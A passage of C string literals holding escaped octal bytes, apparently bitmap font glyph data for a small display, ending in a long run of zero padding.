\"\\1\\1\\1\\1\\0\\0\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\360\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\300\\360\\360\\360\\0\\377\\377\\377\\7\\36x\\340\\300\\360<\\17\"\n  \"\\3\\377\\377\\377\\0\\377\\377\\377\\0\\0\\0\\1\\3\\0\\0\\0\\0\\377\\377\\377\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\360\\360\\360\\300\\200\\0\\0\\0\\0\\0\\0\\360\\360\\360\\0\\0\\377\\377\\377\\3\\17>x\\340\\300\\0\\0\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\0\\0\\0\\0\\1\\7\\37|\\377\\377\\377\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\0\\0\\0\\300\\300\\340p\\60\\60\\60\\60p\\340\\300\\200\\0\\0\\374\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\3\\377\\377\\360\\7\\37\\77p\\340\\300\\200\\200\\200\\200\\300\\340x\\77\\37\\1\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\60\\60\\60\\60\\60\\60p\\340\\340\\300\\0\\0\\0\\377\\377\\377\\300\\300\\300\\300\\300\\300\\340`\"\n  \"\\177\\77\\37\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\340p\\60\\60\\60pp\\340\\300\\200\\0\\0\\374\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\3\\377\\377\\360\\7\\77\\177\\360\\300\\200\\200\\200\\200\\200\\200\\340\\370\\177\\37\\1\\0\\0\\0\\0\\1\\1\\7\\37\\77\\71\\61\\61\"\n  \"\\60\\60\\60\\0\\0\\360\\360\\360\\60\\60\\60\\60\\60\\60p\\340\\340\\300\\0\\0\\0\\377\\377\\377\\300\\300\\300\\300\\300\\300\\340p\"\n  \"\\177\\37\\6\\0\\0\\377\\377\\377\\0\\0\\0\\0\\3\\17\\36|\\360\\300\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\200\\300\\340`p\\60\\60\\60\\60`\\340\\300\\0\\0\\0\\0\\7\\37\\37\\70\\60p`\\340\\300\\300\"\n  \"\\200\\200\\0\\0\\0@p\\340\\300\\300\\200\\200\\200\\200\\300\\301\\343\\177\\77\\14\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\60\\60\\60\\60\\60\\60\\360\\360\\360\\60\\60\\60\\60\\60\\60\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\0\\0\\37\\177\\377\\340\\300\\200\\200\\200\\200\\300\\340\\377\\177\\37\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\20\\360\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\360\\20\\0\\0\\7\\77\\376\\360\\200\\0\\0\\0\\340\\374\"\n  \"\\77\\7\\0\\0\\0\\0\\0\\0\\0\\7\\77\\374\\370\\177\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\360\\300\\0\\0\\0\\0\\200\\300\\0\\0\\0\\0\\0\\360\\360\\0\\77\\377\\360\\0\\300\\370\\77\\37\\377\\360\\200\"\n  \"\\0\\376\\177\\1\\0\\0\\17\\377\\374\\37\\1\\0\\0\\0\\17\\377\\377\\37\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\0\\0\\0\\0\\20p\\360\\300\\0\\0\\0\\0\\0\\0\\300\\360p\\20\\0\\0\\0\\0\\1\\7\\17\\276\\370\\370\\376\\17\\3\"\n  \"\\1\\0\\0\\0\\0\\0\\300\\360|\\37\\7\\3\\3\\7\\37|\\360\\340\\200\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\0\\0\\60\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\340\\360p\\0\\0\\0\\0\\3\\17>\\370\\360\\300\\360|\\37\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\60\\60\\60\\60\\60\\60\\60\\60\\60\\260\\360\\360\\60\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360|\\36\\7\"\n  \"\\3\\0\\0\\0\\0\\200\\340\\360\\374\\237\\217\\203\\200\\200\\200\\200\\200\\200\\200\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\374\\374\\374\\14\\14\\14\\14\\14\\14\\14\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\14\\14\\14\\14\\14\"\n  \"\\14\\14\\0\\0\\0\\0\\30\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\370\\340\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17>\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\3\\3\\0\\0\\0\\0\\14\\14\\14\\14\\14\\14\\14\\14\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\14\\14\\14\\14\\14\\14\\14\\14\\17\\17\"\n  \"\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\30\\34\\17\\3\\1\\0\\3\\17>\"\n  \"\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\"\n  \"\\14\\14\\14\\0\\0\\0\\0\\0\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\17>x\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\14\\216\\206\\206\\206\\206\\216\\214\"\n  \"\\374\\370\\340\\0\\0<\\376\\377\\303\\203\\201\\201\\201\\301\\341q\\377\\377\\377\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\10\\14\\6\\6\\6\\16\\16\\34\"\n  \"\\374\\360\\300\\0\\0\\377\\377\\177\\300\\300\\200\\200\\200\\300\\300\\340\\177\\77\\17\\0\\0\\1\\1\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\34\\14\\16\\6\\6\\6\\6\\16\"\n  \"\\34<\\10\\0\\0\\17\\77\\177\\360\\300\\300\\200\\200\\200\\200\\300\\300\\340@\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\340\\370\\374\\34\\16\\6\\6\\6\\6\\14\\30\"\n  \"\\377\\377\\377\\0\\0\\17\\77\\377\\340\\300\\200\\200\\200\\200\\300p\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\234\\216\\206\\206\\206\\206\\216\\214\"\n  \"\\370\\360\\0\\0\\0\\17\\77\\177\\341\\301\\301\\201\\201\\201\\201\\301\\301A\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\370\\70\\34\\14\\14\\14\\34\\30\\70\\0\\0\\14\\14\\14\\377\\377\\377\\14\\14\\14\\14\\14\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\374\\34\\16\\6\\6\\6\\16\\34\\370\"\n  \"\\374F\\6\\6\\0\\0s\\177\\377\\316\\314\\314\\314\\316\\307\\307\\303\\200\\200\\0\\0\\34\\77\\77qp`````p\"\n  \"\\71\\77\\37\\6\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\30\\14\\14\\6\\6\\16\\36\"\n  \"\\374\\370\\300\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\6\\6\\6\\376\\376\\376\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\377\\377\\377\\200\\200\\200\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\0\\0\\0\\6\\6\\6\\6\\6\\6\\376\\376\\376\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\60\\70p```p\\60\\77\\37\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\200\\300\\300\\340p\\70\\34\"\n  \"\\16\\6\\2\\0\\0\\0\\377\\377\\377\\3\\1\\3\\7\\17<x\\360\\340\\200\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\0\\14\\14\\14\\14\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\377\\377\\377\\200\\200\\200\\200\\200\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\14\\6\\6\\376\\374\\370\\34\\6\"\n  \"\\6\\16\\376\\374\\0\\377\\377\\377\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\377\\377\\0\\1\\1\\1\\0\\0\\0\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\30\\14\\14\\6\\6\\16\\36\"\n  \"\\374\\370\\300\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\34\\14\\16\\6\\6\\6\\16\\34\"\n  \"<\\370\\340\\0\\0\\17\\77\\177\\340\\300\\300\\200\\200\\200\\300\\340\\360\\177\\37\\3\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\10\\14\\6\\6\\6\\6\\16\\34\"\n  \"\\374\\360\\300\\0\\0\\377\\377\\377\\300\\300\\200\\200\\200\\300\\300\\340\\177\\77\\17\\0\\0\\177\\177\\177\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\34\\16\\6\\6\\6\\6\\14\\34\"\n  \"\\376\\376\\376\\0\\0\\17\\77\\177\\340\\300\\300\\200\\200\\200\\300`\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\70\\34\\14\\6\\6\\6\"\n  \"\\6\\16\\34\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0x\\374\\374\\216\\206\\206\\6\\6\\16\\14\"\n  \"<\\10\\0\\0\\0@\\360\\300\\301\\201\\201\\203\\203\\203\\307\\376~\\70\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\6\\6\\346\\377\\377\\6\\6\\6\\6\"\n  \"\\6\\0\\0\\0\\0\\0\\0\\0\\0\\37\\377\\377\\300\\200\\200\\200\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\0\\0\\0\\0\\0\\0\\0\\376\"\n  \"\\376\\376\\0\\0\\0\\77\\177\\377\\300\\300\\200\\200\\200\\300`\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6>\\376\\360\\200\\0\\0\\0\\0\\0\\300\"\n  \"\\370>\\6\\0\\0\\0\\0\\0\\7\\37\\376\\360\\340\\374\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\376\\376\\200\\0\\0\\200\\370|\\360\\200\\0\"\n  \"\\0\\200\\376~\\0\\0\\37\\377\\360\\370\\77\\3\\0\\7\\77\\374\\300\\377\\17\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\6\\36<x\\340\\300\\300\\340x\\34\"\n  \"\\16\\2\\0\\0\\0\\0\\200\\340\\360<\\37\\7\\17\\37<\\360\\340\\200\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\36~\\370\\300\\0\\0\\0\\0\\0\\300\"\n  \"\\374>\\16\\0\\0\\0\\0\\0\\3\\17~\\370\\300\\370\\77\\17\\1\\0\\0\\0 p```p\\70\\37\\17\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\6\\6\\6\\6\\206\\306\\346v>\"\n  \"\\36\\6\\0\\0\\0\\200\\300\\360\\370\\274\\216\\207\\203\\201\\200\\200\\200\\200\\200\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\200\\340\\340p\\60\\60\\60\\60\\60\\0\\0\\0\\0\\0\\0\\200\\377\\177\\37\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\3\\3\\3\\7\\376\\374\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\77\\177p```\"\n  \"``\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\60pp\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\377\\376\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\374\\377\\7\\3\\3\\3\\0\\0\\0````px\\77\\37\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\34\\14\\6\\6\\6\\14\\34\\70\\60\\60\"\n  \"\\70\\34\\14\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  